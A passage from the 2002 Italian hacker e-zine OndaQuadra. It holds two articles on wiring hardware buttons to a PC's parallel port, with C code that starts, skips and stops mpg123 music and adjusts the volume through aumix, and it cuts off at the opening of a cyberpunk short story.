| trovato, e l'altro pin del reset alla massa della parallela (la |
| riconoscete perke' e' l'unico filo senza guaina). |
| fatto cio', modifico il programma di prima in qlcsa del genere: |
| |
| #include <parapin.h> |
| #include <stdio.h> |
| |
| int main() |
| { |
| int i; |
| pin_init_user(LPT1); |
| pin_input_mode(LP_PIN03); |
| |
| while(1) |
| { |
| printf(pin_is_set(LP_PIN[3])?"1":"0"); |
| printf("\n"); |
| usleep(10000); |
| } |
| } |
| |
| ovviamente il 3 e' il primo pin di input ke ho trovato, e quindi |
| usato. compilando e avviando (sempre da root altrimenti nn abbiamo |
| accesso alla porta), ora il programma printa una sola cifra, ke |
| vedremo cambiare se il tasto reset viene premuto (NB: il tasto reset |
| nn e' quello del vostro computer, quello ha un'altra funzione, lo |
| kiamo cosi' perke' la sua funzione originale era quella :P) |
| ora....la mia mente lesa mika poteva fermarsi qui, anke perke' un |
| programma del genere di utilita' ne ha ben poca. cioe' fiko vedere ke |
| posso far vedere al pc delle cose ke succedono in the real life, pero' |
| passato l'orgasmo iniziale finisce li'. |
| cosi'....ecco ke faccio: |
| |
| int main() |
| { |
| int i; |
| printf("\e[1;31mAutismo andante avviato.... :)\e[0m\n"); |
| pin_init_user(LPT1); |
| pin_input_mode(LP_PIN03); |
| |
| if (pin_is_set(LP_PIN[3])) |
| i=1; |
| else |
| i=0; |
| |
| while(1) |
| { |
| if (pin_is_set(LP_PIN[3]) && i==0 || !pin_is_set(LP_PIN[3]) && i==1) |
| { |
| i=i?0:1; |
| if (system("ps -e | grep mpg123 > /dev/null")) |
| system("mpg123 -zZ /home/lesion/muzik/*mp3* 2> /dev/null &"); |
| else |
| system("killall -2 mpg123"); |
| } |
| usleep(100000); |
| } |
| |
| |
| } |
| |
| |
| e qui la spiegazione diventa un tantino + lunga: |
| sendiamo un messaggio stupido (poi capite perke'), inizializziamo la |
| parallela, gli diciamo ke vogliamo usare il terzo pin come input, e |
| poi settiamo i allo stato attuale del pin. |
| il ciclo principale, nn fa' altro ke controllare se lo stato del pin |
| e' cambiato, quindi se i era off e ora il pin e' on o viceversa, |
| significa ke lo stato del terzo pin e' cambiato, ovvero abbiamo |
| premuto il tastino. |
| ovviamente cambiamo il valore di i (ke serve x tenere a memoria il |
| valore dello stato del pin in questione x verificare se cambia) e poi |
| ci inoltriamo nella vera chicca del programma: |
| if (system("ps -e | grep mpg123 > /dev/null")) |
| |
| come tutti sappiamo, la system restituisce -1 se la fork di sh |
| fallisce, altrimenti il valore di ritorno del programma avviato, |
| ovvero la classica $? della bash. |
| vediamo il tutto da shell con un esempio + facile: |
| |
| [13:59:30]~/hack/sklero$ ps -e | grep ciccio |
| [14:05:51]~/hack/sklero$ echo $? |
| 1 |
| [14:05:53]~/hack/sklero$ ps -e | grep ps |
| 1129 tty3 00:00:00 ps |
| [14:05:58]~/hack/sklero$ echo $? |
| 0 |
| [14:06:01]~/hack/sklero$ |
| |
| se grep trova il processo tra la lista, allora esce con uno 0 |
| altrimenti con un 1, i valori restituiti dalla system, ke cerca pero' |
| la presenza del processo mpg123 (x ki nn lo sapesse e' un player mp3). |
| se la system esce con uno, significa ke il processo nn c'e', e quindi |
| lo avviamo noi (le opzioni mettetele voi come volete...) in |
| background, mandando l'output a /dev/null in modo ke nn rompa. |
| se invece il processo esiste, gli mandiamo un segnale tramite kill, ke |
| e' il -2, ovvero un sigint, ke sarebbe come premere ctrl+c su mpg123. |
| mpg123, alla pressione di ctrl+c semplicemente cambia canzone, cosa ke |
| fara' alla ricezione di un sigint. |
| cosi con pokissime righe di codice ed ankora meno stagno, abbiamo |
| ottenuto un pulsantino ke se premuto avvia la musica e se ripremuto |
| cambia canzone. ora compiliamo (ricordatevi il -lparapin) e lo copiamo |
| dentro /usr/bin/ con un nome un po' carino. |
| infine mettiamo dentro /etc/rc.d/rc.local l'avvio del programma (in bg |
| naturalmente, altrimenti ci si fotte la shell) se siamo in slack o in |
| qlsiasi file eseguito all'avvio nelle altre distro. |
| riavviate il pc, e vedrete il messaggio di prima durante il boot :) |
| ovviamente le applicazioni sono infinite, potete metterci tanti bei |
| tastini e dare ad ognuno una funzione carina, del tipo avviare X, o |
| ppp-go ppp-off, o aafire o fortune o fetchmail o pine o BitchX o links |
| www.google.com o.... scusate x gli errori di |
| verbi/tempi/congiuntivi/avverbi e ki + ne ha ne metta. se fate qlcsa |
| di carino DITELO!! :P |
| ah dimenticavo, fate un supporto carino al tasto, io ho usato il |
| contenitore delle cartucce della stampante saldato alla scrivania, nn |
| e' niente male. |
| free kisses |
| lesion@autistici.org |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ MiSC #07 - 01/08/2002 |
| EV0LUZi0NE MUSiC [JEYoNE_lesion] 0x11/0x19 |
+--------------------------------------------------------------------------+
| Bene. Partendo dal presupposto che quello che e` successo all'hackit e` |
| stata soltanto un'evoluzione del progetto di lesion, inserito in questo |
| numero, -aggiungiamo il tasto music- comincio a spiegare un po` come |
| sono |
| andate le cose. Cominciamo col dire che il promo giorno, venerdi`21, |
| lesion era eccitatissimo nel far vedere la SUA creazione [emmadonna...nn |
| mi pare di aver visto nulla sbucare dalla cerniera dei pantaloni mentre |
| facevo visionare la mia creazioncina :)) ndles] , il tastino che |
| faceva partire la musica. Siamo stati li a vedere la sua spiegazione, |
| ci |
| ha fatto leggere il codice ecc ecc, ma poi tutto e` finito li. E |
| sarebbe |
| finito li, se quella notte non ci fosse stata una fottuta civetta |
| appollaiata sopra la finestra della mia camera a rompere i coglioni. |
| Si`, perche` dovete sapere che per merito di quella civetta il |
| sottoscritto non e` riuscito a dormire, e nell'autismo piu` assoluto ha |
| cominciato a pensare come poter ampliare quelle quattro righe di codice |
| scritte da lesion, per fare un aggeggio un po` piu` carino... |
| Mumble mumble... |
| Mi sono detto, la parallela ha 17 pin disponibili, perche` |
| limitarci ad usarne uno soltanto? Ok, vediamo un attimo com'e` la |
| situescion, un pin comanda le canzoni, e le fa skippare, mmmh... |
| la cosa e` simpatica, ma praticamente inutile, messa cosi`.. |
| [eddai proprio inutile no su su... :)) io la uso ankora nsles] |
| {beh,se ti fossi portato a casa il prj al posto che lasciarlo al TPO |
| forse ti saresti accorto che questo era meglio. Ndjey} |
| Allora ho pensato di aggiungere qualche tasto, niente di impegnativo, |
| solo qualche altra funzione che poteva tornare utile alla nostra |
| simpatica interfaccia. |
| E se aggiungessimo il tasto del volume? |
| Possibile? |
| Domani chiedo a lesion |
| Questi sono stati i pensieri che giravano nella mia testa, l'indomani |
| mattina lo dico a lesion, e lui, ancora piu eccitato di quando ci ha |
| mostrato il suo progetto, si mette a codare. |
| A questo punto il problema era un'altro: l'hardware! |
| Dove cazzo trovo dei pulsanti? |
| Ci sono qualcosa tipo 400 pc in tutto il tpo, ma mica posso andare in |
| giro a chiedere a tutti se mi fanno smontare un tasto dalla loro |
| macchina, no? |
| Qui arriva in nostro aiuto beb0s [baci a beb0s ndl], che ci dona |
| gentilmente una pulsantiera (a proposito di questo, volevo ringraziare |
| Pincopall, che ha subito un FURTO vero e proprio da parte di beb0s :)) ) |
| che faceva parte di una vecchia fotocopiatrice smontata la notte di |
| giovedi. |
| Bene, abbiamo quattro bei pulsanti, che ci facciamo? |
| Come abbiamo gia detto, uno fa lo skip delle canzoni, due fanno il |
| volume (+ e -) e l'altro? |
| mmmmh |
| Lo usiamo per spegnere il tutto, perche` no? |
| Una volta decisi i comportamenti che i pulsanti avrebbero dovuto |
| tenere, |
| viene fuori un'altro problema.... come cazzo facciamo a saldare i fili, |
| che non abbiamo ne saldatore ne stagno? |
| come facciamo a testare i fili, che non abbiamo il tester? |
| Ok, facciamo un giro per il TPO, ci sara` qualche mente malata che si |
| e` |
| portato dietro il tutto... |
| Dopo aver girato mezzo TPO alla ricerca di tutto il necessario, guarda |
| te, lo trovo al tavolo dietro al nostro! |
| hehehe |
| Mia mamma mi ha sempre detto che le cose sono piu vicine di quello che |
| si pensa, e io mai a darle retta! |
| :) |
| [eh...la mmamma e' ssempre la mmamma...e tiene sempre rraggione :)) ndl] |
| Beh, anche qui un ringraziamento dovuto va a vampire, che ci ha fornito |
| TUTTO, ma proprio tutto! |
| [bacetti anke a vampire ndl] |
| Saldatore, stagno, tester... figo! |
| OK, abbiamo tutto il materiale, cominciamo? |
| Via, si parte! |
| Tester alla mano provo tutti i pin della parallela, cercando quelli |
| che, |
| in corto con la massa, diano i +5v. |
| Me ne servono 4, ok, trovati! |
| Comincio a saldare sui contatti, ma poi mi accorgo allegramente che |
| questa bellissima pulsantiera ha anche 4 led, e allora perche` non |
| utilizzare anche quelli? |
| Detto, fatto. |
| Faccio dei ponticelli per dare alimentazione ai led, una volta finito |
| il |
| tutto vado da lesion, che nel frattempo ha finito di codare, e proviamo |
| tutto l'ambaradan. |
| Bene, funziona! |
| Evviva! |
| Siamo riusciti nel nosro esperimento con del materiale di fortuna, |
| McGiver ci fa una pippa! :)))) |
| In un futuro prossimo ci sara` un'ulteriore evoluzine di questo |
| progetto, molto piu complicata, ma molto piu interessante. |
| Sara` spiegata piu nei dettagli, e probabilmente formiremo anche il pcb |
| del circuito, la lista dei componenti, e, ovviamente, tutto il codice |
| per farlo funzionare! |
| Io ho finito, passo la palla a lesion ci si cimentera` nella |
| spiegazione |
| del codice. |
| |
| Ah, sono doverosi alcuni ringraziamenti: |
| A E4zy per l'idea dei led e per il supporto (non intendo quello morale, |
| mi teneva le cose quando avevo bisogno :)) ) |
| A embyte per il nastro isolante e il coltellino (utilissimo per spelare |
| i fili, eravamo senza le forbici) |
| A zed per la birra (mi ha offerto 3 lattine durante l'esecuzione del |
| progetto, forse e` per questo che ci sono dei *cipollotti* di stagno :) |
| |
| A Pincopall (e beb0s) per la pulsantiera |
| A vampire per lo stagno, il tester e il saldatore |
| A tutti gli altri che non ricordo, o di cui non conosco il nickname, |
| grazie lo stesso! |
| |
| kissessssssss |
| |
| JEYoNE |
| |
| |
| |
| e zack piglio la palla e commento queste quattro righe di codice scritte |
| in condizioni psicofisike nn del tutto ottimali. |
| sostanzialmente la pasta e' quella dell'art. precedente, quindi |
| eviterei |
| la descrizione delle stesse cose. |
| commento solo la roba aggiunta. |
| ah, prima di cominciare a commentare il codice, ci terrei a precisare ke |
| il funzionamento di questi tasti e' differente da quelli provati |
| precedentemente dal sottoscritto, nel senso ke quelli, una volta |
| premuti |
| cambiavano stato anke se venivano rilasciati, e tornavano nello stato |
| precedente solo ad una seconda pressione (vedi tasto reset, ke una |
| volta |
| premuto resta tale finke' nn lo si ripreme), mentre questi cambiano lo |
| stato solo durante la pressione (tipo i tasti della tastiera). |
| di conseguenza, interpretate il codice a dovere. |
| |
| ----+coding--- |
| #include <unistd.h> |
| #include <sys/io.h> |
| #include <stdio.h> |
| #include <parapin.h> |
| #include <sys/types.h> |
| |
| |
| int main() |
| { |
| |
| //questo array lo uso x memorizzare lo stato dei 4 pulsanti |
| int p[4]; |
| |
| //questa variabile la uso per memorizzare il volume |
| int vol; |
| |
| char s[20]; |
| |
| FILE *file; |
| |
| printf("\e[1;31mAutismo andante avviato.... :)\e[0m\n"); |
| |
| //i pin sono i primi ke j1 ha trovato, quindi dovreste cambiarli. |
| //il numero lo trovate con il programma descritto all'inizio del |
| //precedente articolo. |
| //cmq li settiamo in input mode. |
| pin_init_user(LPT1); |
| pin_input_mode(LP_PIN16); |
| pin_input_mode(LP_PIN14); |
| pin_input_mode(LP_PIN07); |
| pin_input_mode(LP_PIN02); |
| |
| |
| //e ne controlliamo lo stato iniziale. |
| |
| if (pin_is_set(LP_PIN16)) p[0]=1; |
| else p[0]=0; |
| |
| if (pin_is_set(LP_PIN07)) p[1]=1; |
| else p[1]=0; |
| |
| if (pin_is_set(LP_PIN14)) p[2]=1; |
| else p[2]=0; |
| |
| if (pin_is_set(LP_PIN02)) p[3]=1; |
| else p[3]=0; |
| |
| //cominciamo il ciclo principale |
| while(1) |
| { |
| |
| //ecco cosa cambia con l'uso dei nuovi tasti. |
| //confrontate questa parte con il programma precedente... |
| if (!pin_is_set(LP_PIN16) && p[0]==1) |
| p[0]=0; |
| |
| //vedere spiegazione art. precedente |
| if (pin_is_set(LP_PIN16) && p[0]==0) |
| { |
| p[0]=1; |
| |
| if (system("ps -e | grep mpg123 > /dev/null")) |
| system("mpg123 -zZ /home/lesion/muzik/*mp3* |
| > /dev/null 2> /dev/null &"); |
| else |
| system("killall -2 mpg123"); |
| } |
| |
| |
| if (!pin_is_set(LP_PIN07) && p[1]==1) |
| p[1]=0; |
| |
| if (pin_is_set(LP_PIN07) && p[1]==0) |
| { |
| p[1]=1; |
| |
| |
| system("aumix -q | head -1 | cut -d \" \" -f 3 > .vol"); |
| file=fopen(".vol","r"); |
| fgets(s,19,file); |
| fclose(file); |
| vol=atoi(s); |
| if (vol<5) |
| vol=0; |
| else |
| vol-=5; |
| sprintf(s,"aumix -v %i",vol); |
| system(s); |
| /* |
| allora...questo merita 2 righe di spiega. |
| questa cosa dovrebbe abbassare il volume. |
| ok, +odio verso la system(), pero' x programmi di merda tipo questo |
| va + ke bene. |
| con la prima system kiamo il programma aumix (ke e' un mixer x console, |
| e ovviamente dovete averlo) con l'opzione -q (q: query all channels |
| and |
| print their settings). |
| praticamente ci printa lo stato di tutti i canali. |
| il primo canale indica il volume in generale, e noi lo strippiamo |
| redirigendo "aumix -q" su "head -1", ke si prende appunto la prima riga. |
| quello ke esce e' qlcsa tipo: |
| |
| vol n, n |
| |
| dove n sono 2 numeri ke indicano il volume x la cassa destra e quello x |
| la sinistra. |
| noi vogliamo controllare solo il volume globale, e quindi prendiamo da |
| questa stringa solo uno dei 2 n, in questo caso il terzo perke' nn ci |
| sono virgole di intralcio. facciamo questo con un "cut -d \" \" -f 3" |
| (man cut), e ridirigiamo il tutto su un file. |
| poi apriamo il file in lettura, e leggiamo cosa c'e' scritto dentro, |
| assegnandolo alla variabile vol. |
| ok, ora sappiamo a quanto e' settato il volume. |
| controlliamo se e' minore di 5 (ed in questo caso lo azzeriamo), |
| altrimenti |
| lo diminuiamo di 5 (vol x ora). |
| poi sempre con aumix, lo abbassiamo (con l'ultima system). |
| l'opzione -v di aumix ci permette di settare a nostro piacimento il |
| volume. |
| aumix --help x + info. |
| |
| */ |
| |
| } |
| |
| |
| if (!pin_is_set(LP_PIN14) && p[2]==1) |
| p[2]=0; |
| |
| |
| //qui stessa cosa di prima ma alziamo il volume invece di |
| //abbassarlo. il succo e' lo stesso |
| if (pin_is_set(LP_PIN14) && p[2]==0) |
| { |
| p[2]=1; |
| if (vol>95) |
| vol=100; |
| else |
| vol+=5; |
| sprintf(s,"aumix -v %i",vol); |
| system(s); |
| } |
| |
| //e qui killiamo il tutto |
| if (!pin_is_set(LP_PIN02) && p[3]==1) |
| p[3]=0; |
| |
| if (pin_is_set(LP_PIN02) && p[3]==0) |
| { |
| p[3]=1; |
| system("killall mpg123"); |
| } |
| |
| |
| //x evitare l'implosione del processore :) |
| //con questa evitiamo ke il processo ci sukki troppe risorse) |
| usleep(100000); |
| } |
| |
| |
| } |
| |
| |
| ----------- |
| |
| ok, lanciate in bg e divertitevi a creare nuove cosine :) |
| mettere in /etc/rc.d/rc.local x un divertimento assicurato. |
| lesion@autistici.org |
| jeyone@ondaquadra.org |
| |
| **Status Log On: |
| |
| <JEYoNE> fiko |
| <JEYoNE> è venuto fuori un bell'articolo cmq |
| <JEYoNE> molto terra a terra |
| <JEYoNE> mi piace |
| <JEYoNE> :)) |
| <lesion> :) |
| <lesion> si si terra terra |
| <lesion> :P |
| <JEYoNE> massa a massa |
| <JEYoNE> ihih |
| <lesion> HAAHHAAHAH |
| |
| **Status Log Off |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ L0 SCiAMAN0 #07 - 01/08/2002 |
| NU0VE iNF0RMAZi0Ni [MinDBlinD] 0x12/0x19 |
+--------------------------------------------------------------------------+
| Nuove informazioni |
| |
| Correva libero nell’erba alta puntando i piedi in avanti come uno |
| stambecco, in modo da toccare il suolo solo con le punte. Sembrava |
| volasse sul campo addormentato del primo mattino, ancora avvolto da una |
| leggera foschia ed accarezzato dalla fresca rugiada. |
| Aveva pensato molte volte alla condizione fisica chiamata libertà |
| perché troppo spesso era stato prigioniero. |
| Bloccato anche stavolta dalla fame di informazioni ad un livello 0 di |
| vita vegetativa. Questa voglia insaziabile di succhiare immagini, |
| suoni, odori, sapori di altre vite, di altre menti che come la sua |
| avevano esplorato uno spazio reale o fittizio, non lo abbandonava mai. |
| Lui era l’eroe che difendeva la libera circolazione delle informazioni |
| e combatteva la conoscenza limitata e programmata imposta dal Diritto. |
| Sosteneva infatti, che il vissuto di ciascuno di noi doveva essere |
| patrimonio comune. Come fanno i branchi di gazzelle per difendersi dai |
| predatori, secondo le antichissime leggi della sopravvivenza, era un |
| obbligo trasmettere l’esperienza personale al resto degli individui, a |
| tutta la specie. Così sarebbe dovuto essere anche qui, anche oggi per |
| l’Homo Sapiens. Invece l’etologia ci insegna che questa specie è |
| l’unica ad uccidere se stessa: l’uomo è il solo nemico dell’uomo. |
| Sempre è stato così e purtroppo sempre sarà così! |
| Ecco perché lui si trovava imballato in un ovulo pressurizzato, |
| immobilizzato gambe e braccia, intubato da una decina di cannule che |
| gli penetravano nelle vene, nei polmoni e negli organi uretrali. |
| |
| L’odierna società non era altro che quella vecchia ripassata a nuovo da |
| un maquillage tecnologico: elettronica intelligente iperinvadente in |
| ogni ambito della vita quotidiana, tanto da poter essere considerata |
| un’estensione dell’architettura funzionale umana; vecchie leggi morali |
| o anzi moralistiche completamente cancellate (fa ridere pensare che |
| solo pochi decenni fa ancora si discuteva di bioetica, mentre poi |
| l’ingegneria genetica è stato il settore economico che ha sfornato più |
| miliardari, battendo anche quello dell’informazione applicata). |
| Il nuovo Diritto, creato ad hoc per il marketing informatico, tutelava |
| strenuamente la proprietà privata dei dati. Ad ogni individuo era |
| associato dalla nascita un database, che si arricchiva di inf

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT